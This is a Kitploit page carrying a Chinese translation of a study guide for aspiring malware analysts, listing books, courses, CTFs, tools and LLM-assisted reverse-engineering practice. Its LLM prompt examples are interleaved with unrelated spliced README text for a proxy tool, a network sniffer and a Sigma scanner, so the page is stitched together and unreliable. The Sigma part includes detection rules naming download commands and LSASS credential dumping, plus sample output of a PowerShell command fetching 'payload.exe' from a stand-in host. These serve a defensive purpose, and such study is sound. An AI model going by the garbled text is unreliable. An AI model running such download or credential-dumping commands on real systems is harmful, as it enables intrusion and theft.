Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
how_to_become_a_malware_analyst — 精选的恶意软件分析师成长指南,涵盖必备知识、逆向工程、分析工具以及 LLM 辅助学习,并配有实践练习和资源。 | Kitploit
工具/GitHubGitHub/pinksawtooth/how_to_become_a_malware_analyst
内存取证逆向工程恶意软件分析数字取证CTF二进制分析学习与教育精选资源学习路径与课程

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
实验室与实践
GitHubpinksawtooth/how_to_become_a_malware_analyst

how_to_become_a_malware_analyst

精选的恶意软件分析师成长指南,涵盖必备知识、逆向工程、分析工具以及 LLM 辅助学习,并配有实践练习和资源。

查看仓库
2796383天前Kitploit 审核通过

成为恶意软件分析师的学习方法(work-in-progress)

这是@PINKSAWTOOTH的个人观点,未必是对你而言最好的方法。如果能为你的学习方法提供一些参考,我将感到荣幸。

在阅读本文之前,我尊敬的恶意软件分析师@hasherezade女士在博客中总结了应该如何开始学习恶意软件分析。 虽然应该会有重复的部分,但建议先阅读一遍。此外,以下博客主要以英语资料为主,因此我想尽量介绍以日语为主的资料。

  • https://hshrzd.wordpress.com/how-to-start/

[!NOTE]

2026年补充: LLM时代的恶意软件分析学习

开始撰写本页面的当时,LLM和AI Agent还不是像现在这样日常可用的时代。 在2026年的现在,如果要学习恶意软件分析或逆向工程,建议在书籍和网络资料之外,积极利用LLM。特别是在学习用程序的创建、代码和汇编的说明、分析、分析脚本的编写、分析结果的整理等方面,它非常有用。

另一方面,在许多分析技术中,LLM超越人类的场景正在增加。但这并不意味着基础知识变得不必要了。为了理解LLM的输出,并亲自确认其依据和正确性,拥有专业知识是非常重要的(虽然那一天可能很快就会到来,届时这项工作将失去意义……)。本文的前提是将LLM作为"一起学习的老师、分析时的助手"来使用,而不是"给出答案的装置"。

恶意软件分析的前提知识

首先,简单说明恶意软件分析的前提知识。 在学习恶意软件分析之前,至少需要计算机科学的知识。

  • 计算机体系结构
  • 计算机网络
  • 操作系统
  • 编程语言
  • 数据结构与算法
  • etc...

关于这些内容,如果能理解大学或专科学校所学习的内容就足够了。 (通过查看某所大学的在线教学大纲等,应该能了解到更具体的内容。) 本文不涉及如何学习编程语言和计算机科学,但以下是我推荐的资料。

  • 计算机为什么能运行 应该了解的硬件与软件基础知识
  • 程序为什么能运行 第3版 应该了解的编程基础知识
  • 英特尔® 64和IA-32架构软件开发人员手册 (最新)
  • IA-32 英特尔® 架构软件开发人员手册,上卷: 基本架构 (日语:较旧)
  • IA-32 英特尔® 架构软件开发人员手册,中卷 A: 指令集参考 A-M(日语:较旧)
  • IA-32 英特尔® 架构软件开发人员手册,中卷 B: 指令集参考 N-Z(日语:较旧)
  • IA-32 英特尔® 架构软件开发人员手册,下卷: 系统编程指南(日语:较旧)
  • TCP/IP详解 入门篇(第6版)
  • CS50x
  • CS50.jp

恶意软件分析所需的知识

恶意软件分析所需的知识大致分为以下5类。

  • 关于恶意软件分析技术、恶意软件行为、所利用技巧的实现与实现方法的知识
  • 关于逆向工程对象程序开发的知识
  • 关于逆向工程的知识
  • 关于分析工具的知识
  • 关于LLM与自动化分析的知识

关于恶意软件分析技术、恶意软件行为、所利用技巧的实现与实现方法的知识

首先需要学习什么是恶意软件、恶意软件分析是做什么的工作。 介绍学习恶意软件分析整体时推荐的资料和书籍。

  • 安全训练营全国大会2015上的恶意软件分析讲义
    • 中津留先生(@you0708)在安全训练营全国大会2015上举办的恶意软件分析讲义。
  • 初次恶意软件分析
    • 用日语涵盖恶意软件分析整体从基础到进阶内容的书籍。
  • 逆向工程工具Ghidra实践指南
    • 我也是作者之一的书籍,通过使用Ghidra进行静态分析来学习恶意软件的实现。
  • 逆向工程入门 @IT连载
    • 由日本电信电话株式会社的川古谷先生、青木先生、岩村先生撰写的讲解shellcode分析的文章。
  • 分析恶意软件
    • 由于是2010年出版,内容已经过时,但这是一本以不阅读汇编为约束条件来讲解恶意软件分析的罕见书籍。
  • MWS Cup
    • 由信息处理学会计算机安全(CSEC)研究会下属的MWS组织委员会主办的恶意软件分析技术竞赛。过去的问题内容和解说都已公开,很有参考价值。
  • CS6038/CS5138 Malware Analysis, UC
    • University of Cincinnati的恶意软件分析讲义资料。内容每年更新,还分发练习用的样本,因此推荐。免费公开。
  • Practical Malware Analysis
    • 详细讲解恶意软件分析整体的外文书籍。样本和解答都已公开,可以边做练习边学习。
  • malware_training_vol1 by hasherezade
    • @hasherezade女士的恶意软件分析培训资料。虽然还是WIP,但也分发了练习用的样本,因此推荐。
  • Malware Analysis - CSCI 4976
    • Rensselaer Polytechnic Institute的恶意软件分析讲义资料。也分发了练习用的样本。
  • Workshop by Malware Unicorn
    • @malwareunicorn女士的逆向工程工作坊资料。
  • Youtube channel by SANS Digital Forensics and Incident Response
    • 世界知名的安全培训SANS的DFIR相关Youtube频道。
  • Youtube channel by OALabs
    • OALabs以恶意软件分析视频为主的Youtube频道。
  • Youtube channel by hasherezade
    • hasherezade女士以恶意软件分析视频为主的Youtube频道。

恶意软件分析的在线培训也推荐。

  • The Beginner Malware Analysis Course
    • @0verfl0w先生的恶意软件分析入门培训
  • From Zero to Hero
  • @0verfl0w先生和@vk_intel先生的实践性恶意软件分析培训
  • Zero2Automated
  • @0verfl0w先生和@vk_intel先生的进阶恶意软件分析培训
  • OpenSecurityTraining2
    • 可以学习x86/x64汇编、逆向工程、Windows内部结构等的免费讲义资料。也准备了练习。

介绍汇总了恶意软件行为、所利用技巧的页面。

  • Malware Behavior Catalog (MBC)
    • 专门针对恶意软件分析,将恶意软件的目的(Objective)、行为(Behavior)、代码上的特征体系化的目录。在与ATT&CK对应的同时,整理了恶意软件分析中重要的行为。
  • capa-rules
    • capa用于识别功能的规则集。通过阅读规则,可以学习恶意软件的代表性功能和技巧在二进制上会以怎样的特征出现。
  • MITRE ATT&CK
    • 攻击的手法和技巧、步骤作为框架被定义,不仅适合学习恶意软件分析,也适合学习网络攻击整体。
  • ired.team
    • 介绍渗透测试人员、红队、攻击者使用的技巧及其实现
  • malpedia
    • 按恶意软件家族汇总了分析报告。
  • Ten process injection techniques: A technical survey of common and trending process injection techniques
    • 代码注入技巧的介绍
  • Code Injection demos by hasherezade
    • 代码注入技巧的实现
  • Evasion techniques by cpr
    • 恶意软件分析规避技巧汇总
  • Al-Khaser
    • 实现了恶意软件反分析功能的OSS工具和源代码

每天公开的威胁情报以及涉及恶意软件分析的博客和报告也是重要的信息来源。用RSS阅读器等设置更新通知会很方便。 也有汇总这些内容的网站,可以加以利用。

  • AlienVault - Open Threat Exchange
  • Vx Underground - Malware Analysis

在这些当中,介绍一些用日语对恶意软件进行详细分析的来源。

  • Japan Security Analyst Conference
  • JPCERT协调中心官方博客
  • LAC报告 by 石川 芳浩先生
  • 针对性攻击的实际情况与对策方法 by 麦尼卡网络(链接最新文章)
  • NTT Security Japan Technical blog
  • MBSD Blog
  • fortinet博客 威胁研究
  • Unit42博客
  • 趋势科技 安全博客

此外,通过阅读YARA规则,也可以学习恶意软件的特征。

  • 社区的YARA规则
  • Neo23x0的YARA规则
  • CAPEv2的YARA规则​
  • ESET的YARA规则​
  • JPCERT的YARA规则​
  • awesome-yara

关于逆向工程对象程序开发的知识

逆向工程在恶意软件分析中只是一部分,但要成为恶意软件分析师,这是无法回避的道路。 仅靠使用沙箱的动态分析或使用工具的动态分析(不包括手动进行的调试),很难确定恶意软件功能的整体面貌和所使用的算法。

要进行逆向工程,需要理解原始的源代码。 (恶意软件分析中一般假设Windows环境)在没有使用Windows API编程经验的情况下进行恶意软件分析,会走弯路。

Windows API由Microsoft公开了官方文档和示例。 ※注意部分日语翻译的显示可能有问题

  • Windows API - Microsoft Learn
  • Windows classic samples

学习Windows OS机制推荐以下书籍。

  • 深入解析Windows 第7版 上
    • 可以学习系统架构、进程、线程、内存管理、I/O等Windows内部结构的基础。
  • 深入解析Windows 第7版 下
    • 涉及系统机制、虚拟化、诊断与跟踪、文件系统、启动处理等。
  • Windows安全内幕
    • 可以通过PowerShell实验学习Windows的认证、授权、审计、内核安全机制等。

也要了解C/C++以外的语言和运行时

C/C++在学习Windows恶意软件逆向工程方面至今仍非常重要,因此推荐作为首先学习的语言。 另一方面,实际的分析对象并不只有C/C++。在2026年的现在,至少了解以下内容的二进制和运行时特征会很有帮助。

  • C / C++: 原生代码、Windows API、CRT、编译器优化
  • .NET: CLR、CIL/MSIL、元数据、混淆
  • Go: Go runtime、goroutine、字符串与类型信息、Go特有的二进制结构
  • Rust: panic/unwind处理、名称修饰、标准库、泛型与优化带来的代码生成
  • Python: 用PyInstaller等打包的可执行文件、Python bytecode

不需要从一开始就深入学习所有语言。要知道当开发语言或运行时发生变化时,所需的知识也会随之变化。

关于逆向工程的知识

掌握了分析对象语言和环境的编程技术后,就来学习逆向工程吧。 在恶意软件分析中分析常见的Windows PE文件时,首先试着逆向工程C或C++的入门程序吧。 下一步,试着分析自己编译的(存在源代码的)使用Win API的PE文件吧。即使是相同的源代码,如果更改所选择的项目或编译、链接选项等,观察可执行文件会出现怎样的变化,逆向工程技术应该会有相当大的提升。

2026年推荐的学习方法: 让LLM制作练习用程序

以前我推荐寻找Microsoft的示例或GitHub上的代码,一边改写一边学习。这种方法现在仍然有效,但在2026年的现在,让LLM或Coding Agent根据自己的学习目的制作小程序的方法也非常有效。

例如,首先让它生成10〜50行左右的小程序。```text CreateFileWとWriteFileを使ってテキストファイルを作成する、 できるだけ小さなWindows Cプログラムを作ってください。 リバースエンジニアリングの教材に使いたいので、 処理を複雑にせず、各Windows APIを使う理由も説明してください。

root@kitploit:~
生成されたコードを、Microsoft Learnのドキュメントと照らし合わせながら内容を確認し、自分でコンパイルします。
その後、GhidraやIDAなどで自分がコンパイルしたバイナリを解析し、元のソースコードと逆アセンブル・デコンパイル結果を比較します。

以下のループで勉強します。```text
LLMに小さなコードを作らせる
        ↓
ソースコードを読む・APIを調べる
        ↓
自分でビルドする
        ↓
Ghidraなどで解析する
        ↓
元のソースコードと比較する
        ↓
分からない部分だけLLMに質問する
        ↓
別の条件で再ビルドして比較する

例如,可以比较同一份处理逻辑的源代码在以下情况下的差异。

  • Debug / Release
  • 无优化 / 有优化(-O0 / -O2,MSVC 中为 /Od / /O2 等)
  • x86 / x64
  • 有符号 / 无符号
  • MSVC / Clang / GCC 等不同编译器
  • C / C++ / Rust / Go 等不同语言

在已知原始源代码的情况下分析二进制文件,对于学习逆向工程来说是非常好的训练。

要进一步磨练逆向工程技术,可以尝试解答 CTF 的 Rev 题或 Crackme。 特别是 PE 文件相关的题目,以及面向恶意软件分析人员设计的题目,都很推荐。

  • The Flare On Challenge
    • Mandiant(Google)的 FLARE 团队举办的、聚焦于恶意软件分析技术的 CTF。
  • Beginner Malware Reversing Challenges by MalwareTech
    • MalwareTech 提供的面向恶意软件分析初学者的练习题目
  • reversing.kr
    • 以 PE 格式为主的 CrackMe 发布网站
  • crackmes.one
    • CrackMe 投稿网站

此外,在恶意软件的逆向工程中,经常需要对加密算法的处理进行逆向工程,因此建议学习基本的密码学技术。 理解算法之后,可以阅读 GitHub 等平台上公开的开源加密算法实现的源代码,并实际进行逆向工程。

  • 暗号技術入門 第3版
  • OpenSSL Project
  • Network Security Services
  • Crypto++ Library
  • wolfSSL

关于分析工具的知识

在推进恶意软件分析时,使用更好的工具或熟练运用工具,有时可以让分析变得更容易。 此外,即使拥有各种知识,实际分析时仍然要通过工具来进行,因此也需要理解工具的用法。

在 Windows 环境下,使用 Mandiant 公开的 FLARE-VM 来管理分析工具的安装和更新非常方便。它可以一次性安装恶意软件分析和逆向工程所需的各种工具。

在 Linux 环境下,可以使用 REMnux。它也汇集了恶意软件分析所需的工具,可以通过收录工具列表进行查看。

FLARE-VM 和 REMnux 都能轻松构建恶意软件分析环境,因此也推荐给第一次搭建分析环境的人。通过查看各自包含的工具并实际使用,可以了解存在哪些分析工具,以及在什么场景下使用它们。

此外,也可以尝试使用以下链接中介绍的工具。

  • awesome-reversing
  • Awesome Malware Analysis
  • Awesome Ghidra

利用 LLM・Coding Agent 进行学习与分析

将 LLM 作为教师使用

LLM 的一个便利用法,是将其作为可以当场提问不懂之处的教师来使用。在 LLM 出现之前,需要自己调查尚未理解的内容,并理解其含义。尤其是对于初学者来说,很多时候甚至不知道应该查什么,这成为学习过程中的一个障碍。如今,拥有高水平知识的 LLM 可以根据自己的理解程度,反复耐心地进行说明。不懂的话可以重新提问,也可以使用“再简单一点说明”、“举出具体例子”、“确认一下我这样理解是否正确”等用法。 只要有学习的意愿,就可以在不断提问不懂之处的过程中进行学习,我觉得这真是个好时代。

例如,对于反汇编结果或反编译结果,可以提出以下这样的问题。```text この関数の役割と、そう判断できる理由を教えてください。

root@kitploit:~
## 主要功能

- **多协议支持**:HTTP/HTTPS、SOCKS4、SOCKS5
- **多种认证方式**:无认证、Basic、NTLM、NTLMv2、Digest、Bearer Token、API Key
- **代理链**:通过多个代理进行链式连接
- **代理池**:自动轮换和健康检查
- **DNS over HTTPS**:通过 DoH 进行安全 DNS 解析
- **TLS 指纹伪装**:模拟浏览器 TLS 指纹
- **流量分析**:实时监控和统计
- **规则引擎**:基于规则的请求/响应修改
- **插件系统**:可扩展的插件架构

## 安装

### 从源码构建

```bash
git clone https://github.com/example/proxy-tool.git
cd proxy-tool
cargo build --release

使用包管理器

root@kitploit:~
# macOS
brew install proxy-tool

# Linux
apt-get install proxy-tool

快速开始

基本用法

root@kitploit:~
# 启动代理服务器
proxy-tool --listen 127.0.0.1:8080

# 使用配置文件
proxy-tool --config config.yaml

配置文件示例

root@kitploit:~
server:
  listen: "127.0.0.1:8080"
  protocol: "http"

auth:
  type: "basic"
  username: "admin"
  password: "secret"

upstream:
  - "socks5://127.0.0.1:1080"
  - "http://proxy.example.com:3128"

使用示例

代理链配置

root@kitploit:~
proxy-tool --chain "http://proxy1:8080,socks5://proxy2:1080"

代理池

root@kitploit:~
proxy-tool --pool proxies.txt --rotate round-robin

DNS over HTTPS

root@kitploit:~
proxy-tool --doh https://dns.google/dns-query

高级功能

规则引擎

规则引擎允许您根据请求和响应的内容进行动态修改。

root@kitploit:~
rules:
  - name: "block-ads"
    match:
      url: ".*\\.ads\\..*"
    action: "block"

  - name: "add-header"
    match:
      host: "api.example.com"
    action:
      type: "modify-request"
      headers:
        X-Custom-Header: "value"

插件系统

插件系统支持使用 Lua 或 JavaScript 编写自定义插件。

root@kitploit:~
-- example.lua
function on_request(req)
    req.headers["X-Plugin"] = "enabled"
    return req
end

性能

  • 支持高并发连接
  • 低内存占用
  • 零拷贝数据传输
  • 异步 I/O 模型

安全注意事项

  • 始终使用强密码
  • 定期更新到最新版本
  • 在生产环境中启用 TLS
  • 限制访问来源 IP

故障排除

常见问题

问题:无法连接到上游代理

检查网络连接和代理配置是否正确。

问题:认证失败

验证用户名和密码是否正确,检查认证类型是否匹配。

问题:性能缓慢

尝试调整并发连接数或启用连接池。

贡献

欢迎提交 Issue 和 Pull Request。

许可证

本项目采用 MIT 许可证。详见 LICENSE 文件。```text このデコンパイル結果から変数の型を推定したいです。 型を判断するために、どの命令、API、参照先を確認すべきですか?

root@kitploit:~
## 主要功能

- **多协议支持**:HTTP/HTTPS、SOCKS4、SOCKS5
- **代理链**:通过多个代理串联请求
- **代理池**:从文件或 URL 加载代理列表
- **轮换**:按请求或按时间间隔轮换代理
- **健康检查**:自动检测失效代理
- **认证**:支持 Basic、Digest、NTLM 认证
- **TLS 指纹**:模拟浏览器 TLS 指纹
- **DNS over HTTPS**:通过 DoH 解析域名
- **超时控制**:细粒度的超时设置
- **重试机制**:自动重试失败请求
- **日志记录**:详细的调试日志

## 安装

```bash
pip install proxy-tool

或从源码安装:

root@kitploit:~
git clone https://github.com/example/proxy-tool.git
cd proxy-tool
pip install -e .

快速开始

root@kitploit:~
from proxy_tool import ProxyClient

client = ProxyClient(proxy="http://127.0.0.1:8080")
response = client.get("https://httpbin.org/ip")
print(response.json())

配置

配置文件使用 YAML 格式:

root@kitploit:~
proxy:
  url: http://127.0.0.1:8080
  auth:
    username: user
    password: pass
  timeout: 30
  retries: 3

rotation:
  enabled: true
  interval: 60
  strategy: round-robin

代理链

通过多个代理串联请求:

root@kitploit:~
from proxy_tool import ProxyChain

chain = ProxyChain([
    "http://proxy1:8080",
    "socks5://proxy2:1080",
    "http://proxy3:3128",
])

response = chain.get("https://httpbin.org/ip")

代理池

从文件加载代理列表:

root@kitploit:~
from proxy_tool import ProxyPool

pool = ProxyPool.from_file("proxies.txt")
pool.check_health()

client = pool.get_client()
response = client.get("https://httpbin.org/ip")

轮换策略

支持以下轮换策略:

  • round-robin:依次轮换
  • random:随机选择
  • weighted:按权重选择
  • least-used:选择使用次数最少的代理

健康检查

root@kitploit:~
pool = ProxyPool.from_file("proxies.txt")
results = pool.check_health(
    url="https://httpbin.org/ip",
    timeout=10,
    workers=10,
)

for proxy, ok in results.items():
    print(f"{proxy}: {'OK' if ok else 'FAIL'}")

TLS 指纹

模拟浏览器 TLS 指纹:

root@kitploit:~
client = ProxyClient(
    proxy="http://127.0.0.1:8080",
    tls_fingerprint="chrome",
)

支持的指纹:

  • chrome
  • firefox
  • safari
  • edge

DNS over HTTPS

root@kitploit:~
client = ProxyClient(
    proxy="http://127.0.0.1:8080",
    doh_url="https://1.1.1.1/dns-query",
)

错误处理

root@kitploit:~
from proxy_tool import ProxyClient, ProxyError, TimeoutError

client = ProxyClient(proxy="http://127.0.0.1:8080")

try:
    response = client.get("https://httpbin.org/ip")
except TimeoutError:
    print("请求超时")
except ProxyError as e:
    print(f"代理错误: {e}")

日志记录

root@kitploit:~
import logging

logging.basicConfig(level=logging.DEBUG)

许可证

MIT License```text このWindows API呼び出しの前後で使われている構造体について説明してください。 各フィールドを確認するためにGhidra上でどこを見るべきかも教えてください。

root@kitploit:~
## 主要功能

- **多协议支持**:HTTP/HTTPS、WebSocket、DNS、TCP、UDP
- **实时监控**:实时捕获和分析网络流量
- **灵活过滤**:基于主机、端口、协议和内容的正则表达式过滤
- **多种输出格式**:文本、JSON 和 PCAP 格式
- **TLS 解密**:支持 SSLKEYLOGFILE 进行 HTTPS 流量分析
- **进程关联**:将网络连接映射到进程
- **跨平台**:支持 Linux、macOS 和 Windows

## 安装

### 从源码构建

```bash
git clone https://github.com/example/sniffnet.git
cd sniffnet
cargo build --release

使用 Cargo 安装

root@kitploit:~
cargo install sniffnet

使用 Docker

root@kitploit:~
docker run -it --rm --net=host --cap-add=NET_ADMIN sniffnet/sniffnet

使用方法

基本用法

root@kitploit:~
# 捕获所有接口上的流量
sniffnet

# 指定网络接口
sniffnet -i eth0

# 过滤特定主机
sniffnet --host 192.168.1.100

# 过滤特定端口
sniffnet --port 443

# 输出为 JSON 格式
sniffnet --format json

# 保存为 PCAP 文件
sniffnet --output capture.pcap

高级用法

root@kitploit:~
# 组合多个过滤器
sniffnet -i eth0 --host example.com --port 443 --protocol tcp

# 使用正则表达式过滤内容
sniffnet --regex "password|token"

# 启用 TLS 解密
sniffnet --sslkeylogfile /path/to/sslkeylogfile.txt

# 显示进程信息
sniffnet --process-info

配置

配置文件位于 ~/.config/sniffnet/config.toml:

root@kitploit:~
[general]
interface = "eth0"
format = "json"
output = "/var/log/sniffnet.log"

[filters]
hosts = ["192.168.1.0/24"]
ports = [80, 443, 8080]
protocols = ["tcp", "udp"]

[advanced]
sslkeylogfile = "/path/to/sslkeylogfile.txt"
process_info = true

命令行选项

输出示例

文本格式

root@kitploit:~
[2024-01-15 10:30:45] TCP 192.168.1.100:54321 -> 93.184.216.34:443
  GET / HTTP/1.1
  Host: example.com
  User-Agent: Mozilla/5.0

JSON 格式

root@kitploit:~
{
  "timestamp": "2024-01-15T10:30:45Z",
  "protocol": "TCP",
  "source": {
    "ip": "192.168.1.100",
    "port": 54321
  },
  "destination": {
    "ip": "93.184.216.34",
    "port": 443
  },
  "payload": "GET / HTTP/1.1\r\nHost: example.com\r\n..."
}

故障排除

权限问题

在 Linux 上,捕获网络流量需要 root 权限或 CAP_NET_ADMIN 能力:

root@kitploit:~
# 使用 setcap 授予能力
sudo setcap cap_net_admin,cap_net_raw+eip $(which sniffnet)

# 或使用 sudo 运行
sudo sniffnet

接口未找到

列出可用接口:

root@kitploit:~
sniffnet --list-interfaces

TLS 解密不工作

确保:

  1. 浏览器或应用程序已配置为导出 SSL 密钥日志
  2. SSLKEYLOGFILE 环境变量已正确设置
  3. 密钥日志文件路径正确且可读

贡献

欢迎贡献!请遵循以下步骤:

  1. Fork 本仓库
  2. 创建功能分支(git checkout -b feature/amazing-feature)
  3. 提交更改(git commit -m 'Add amazing feature')
  4. 推送到分支(git push origin feature/amazing-feature)
  5. 创建 Pull Request

许可证

本项目采用 MIT 许可证 - 详见 LICENSE 文件。

致谢

  • pcap - Rust 数据包捕获库
  • tokio - 异步运行时
  • clap - 命令行参数解析```text このアセンブリを1命令ずつ説明するのではなく、 まずbasic blockごとの役割を整理して、私が自分で処理を推定できるようにヒントをください。
root@kitploit:~
## 検出ルール

### ルール1: 不審なファイルダウンロードの検出

```yaml
title: 不審なファイルダウンロードの検出
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: 不審なファイルダウンロードを検出します
author: Kitploit
date: 2024/01/15
tags:
  - attack.command_and_control
  - attack.t1071.001
logsource:
  category: proxy
  product: windows
detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - 'DownloadFile'
      - 'Invoke-WebRequest'
      - 'wget'
      - 'curl'
  condition: selection
falsepositives:
  - 正規の管理スクリプト
level: medium

ルール2: 永続化の試行の検出

root@kitploit:~
title: 永続化の試行の検出
id: 9e4b3c2d-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: レジストリのRunキーを介した永続化の試行を検出します
author: Kitploit
date: 2024/01/15
tags:
  - attack.persistence
  - attack.t1547.001
logsource:
  category: registry_set
  product: windows
detection:
  selection:
    EventType: SetValue
    TargetObject|contains:
      - '\Software\Microsoft\Windows\CurrentVersion\Run'
      - '\Software\Microsoft\Windows\CurrentVersion\RunOnce'
  condition: selection
falsepositives:
  - 正規のソフトウェアインストーラー
level: high

ルール3: 認証情報ダンプの検出

root@kitploit:~
title: 認証情報ダンプの検出
id: 1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: LSASSメモリへのアクセスを検出します
author: Kitploit
date: 2024/01/15
tags:
  - attack.credential_access
  - attack.t1003.001
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1438'
      - '0x143a'
      - '0x1fffff'
  condition: selection
falsepositives:
  - セキュリティ製品
  - バックアップソフトウェア
level: critical

使用例

基本的な使用方法

root@kitploit:~
# 単一のログファイルをスキャン
python sigma_scanner.py --rules rules/ --input security.log

# ディレクトリ内のすべてのログをスキャン
python sigma_scanner.py --rules rules/ --input logs/ --recursive

# JSON形式で出力
python sigma_scanner.py --rules rules/ --input security.log --format json

# 重大度でフィルタリング
python sigma_scanner.py --rules rules/ --input security.log --min-level high

高度な使用方法

root@kitploit:~
# カスタム設定ファイルを使用
python sigma_scanner.py --config custom_config.yaml --input logs/

# 特定のルールタグのみを実行
python sigma_scanner.py --rules rules/ --input logs/ --tags attack.persistence

# 除外ルールを指定
python sigma_scanner.py --rules rules/ --input logs/ --exclude-tags attack.discovery

# 詳細出力モード
python sigma_scanner.py --rules rules/ --input logs/ --verbose

設定

設定ファイルの例

root@kitploit:~
# config.yaml
scanner:
  threads: 4
  timeout: 30
  max_file_size: 100MB
  
output:
  format: json
  include_raw_log: false
  colorize: true
  
rules:
  paths:
    - rules/
    - custom_rules/
  exclude:
    - rules/deprecated/
    
logging:
  level: INFO
  file: scanner.log
  console: true

出力形式

テキスト出力

root@kitploit:~
[2024-01-15 10:30:45] [HIGH] 不審なファイルダウンロードの検出
  ルールID: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
  ログソース: security.log:1234
  一致したフィールド:
    - Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    - CommandLine: powershell.exe -Command "Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile payload.exe"

JSON出力

root@kitploit:~
{
  "timestamp": "2024-01-15T10:30:45Z",
  "level": "high",
  "rule_id": "8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c",
  "rule_title": "不審なファイルダウンロードの検出",
  "log_source": "security.log:1234",
  "matched_fields": {
    "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "CommandLine": "powershell.exe -Command \"Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile payload.exe\""
  }
}

パフォーマンス最適化

大規模ログの処理

root@kitploit:~
# 並列処理を有効化
python sigma_scanner.py --rules rules/ --input logs/ --threads 8

# メモリマップドファイルを使用
python sigma_scanner.py --rules rules/ --input large.log --mmap

# バッチ処理
python sigma_scanner.py --rules rules/ --input logs/ --batch-size 1000

ルールの最適化

  • 頻繁に使用される条件を先に配置
  • ワイルドカードの使用を最小限に抑える
  • 正規表現を効率的に記述
  • 不要なルールを無効化

トラブルシューティング

よくある問題

問題: ルールが読み込まれない

root@kitploit:~
# ルールの構文を確認
python sigma_scanner.py --validate-rules rules/

# 詳細なエラー情報を表示
python sigma_scanner.py --rules rules/ --debug

問題: パフォーマンスが遅い

root@kitploit:~
# プロファイリングを有効化
python sigma_scanner.py --rules rules/ --input logs/ --profile

# スレッド数を増やす
python sigma_scanner.py --rules rules/ --input logs/ --threads 16

問題: メモリ不足

root@kitploit:~
# ストリーミングモードを使用
python sigma_scanner.py --rules rules/ --input logs/ --stream

# バッチサイズを減らす
python sigma_scanner.py --rules rules/ --input logs/ --batch-size 100

貢献

  1. リポジトリをフォーク
  2. 機能ブランチを作成 (git checkout -b feature/amazing-feature)
  3. 変更をコミット (git commit -m 'Add amazing feature')
  4. ブランチにプッシュ (git push origin feature/amazing-feature)
  5. プルリクエストを作成

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています - 詳細についてはLICENSEファイルを参照してください。

謝辞

  • Sigma - 汎用シグネチャ形式
  • SigmaHQ - Sigmaルールのメンテナンス
  • すべての貢献者とユーザー

サポート

  • 問題が発生した場合は、Issuesで報告してください
  • 質問がある場合は、Discussionsで質問してください

免責事項: このツールは教育およびセキュリティ研究目的でのみ提供されています。不正な目的で使用しないでください。```text 私はこの関数を「設定ファイルの読み込み処理」だと推測しました。 この仮説を検証するために確認すべきポイントを挙げてください。

root@kitploit:~
最初不要直接询问答案,建议以询问提示、确认要点、验证方法的方式来使用。

### Agentic Reverse Engineering

2026年现在,不仅可以使用像ChatGPT这样的对话型LLM,还可以使用能够读写文件、构建程序、执行命令等的Coding Agent。
此外,通过利用MCP(Model Context Protocol)等,从AI Agent直接操作分析工具的方法也正在普及。
例如REMnux中,提供了用于从AI Agent利用REMnux上的恶意软件分析工具的MCP Server。
- [Using AI with REMnux](https://docs.remnux.org/tips/using-ai)
- [REMnux MCP Server](https://github.com/REMnux/remnux-mcp-server)

关于Ghidra,也出现了若干用于从AI Agent操作的MCP实现。我也开发了Mecha Ghidra,用于以Headless方式使用Ghidra,并通过MCP从AI Agent进行分析。
- [Mecha Ghidra](https://github.com/ghidra-user-jp/mecha_ghidra)

关于IDA及其他逆向工程工具,也出现了多个用于与MCP或Agent联动的实现,使得此前由人工手动完成的分析工作可以交给Agent来完成。
另一方面,不建议从初学者阶段就将所有分析都交给Agent。因为这样难以培养自己判断“为什么要进行该分析”“工具内部在做什么”“输出的结果是否正确”等问题的能力。

首先自己进行分析,从向LLM询问不明白的部分开始会比较好。等熟悉之后,建议逐步推进到创建分析辅助脚本、通过MCP进行工具联动、使用Agent实现分析自动化。

### 向LLM输入信息时的注意事项

将业务中处理的恶意软件、客户提供的文件、未公开的IoC、事件信息、内部信息等输入外部LLM服务时需要注意。
请在确认所使用服务的合同内容、数据保留期限、是否用于训练、所属组织的规定等之后再使用。

根据需要,请考虑以下对策。
- 对敏感信息进行掩码处理
- 使用组织允许的LLM服务
- 确认API或面向Enterprise服务的数据处理方式
- 根据需要利用本地LLM

此外,恶意软件本体、分析对象文件、分析结果中,可能包含诱导AI Agent进行非预期行为的字符串。
特别是当AI Agent能够进行文件操作、命令执行、分析工具操作时,它将拥有比普通LLM更强的权限。因此,在恶意软件分析中使用AI Agent时,建议在VM等隔离环境中执行,以确保安全性。

AI虽然已经相当聪明,但仍然有时会执行非预期的命令。
请像以往的恶意软件分析一样,遵守隔离分析环境这一基本原则来使用。

# 不使用实际恶意软件的学习

2026年现在,为了学习恶意软件分析,并不需要从一开始就获取实际的恶意软件。
反而对初学者建议按以下顺序进行。

1. LLM或自己创建的10〜50行左右的小程序
2. 自己编译的Windows API示例
3. CTF/Crackme/恶意软件分析训练用样本
4. 恶意软件或C2框架等公开了源代码的OSS实现
5. 仅在有必要且能够准备安全分析环境的情况下,才使用实际恶意软件

最初阶段,建议使用已知原始源代码的程序作为教材。
因为可以将自己分析的结果与实际源代码进行比较,从而自行确认“分析到了什么程度是正确的”“哪里读错了”。
比起一上来就分析实际恶意软件,首先使用能够对答案的教材,习惯反汇编和反编译结果的阅读方式,我认为这样学习效率更高。

# 恶意软件的获取

## 前言

这里会涉及恶意软件的获取方法,但在使用所介绍的服务时,请务必阅读使用条款后再使用。
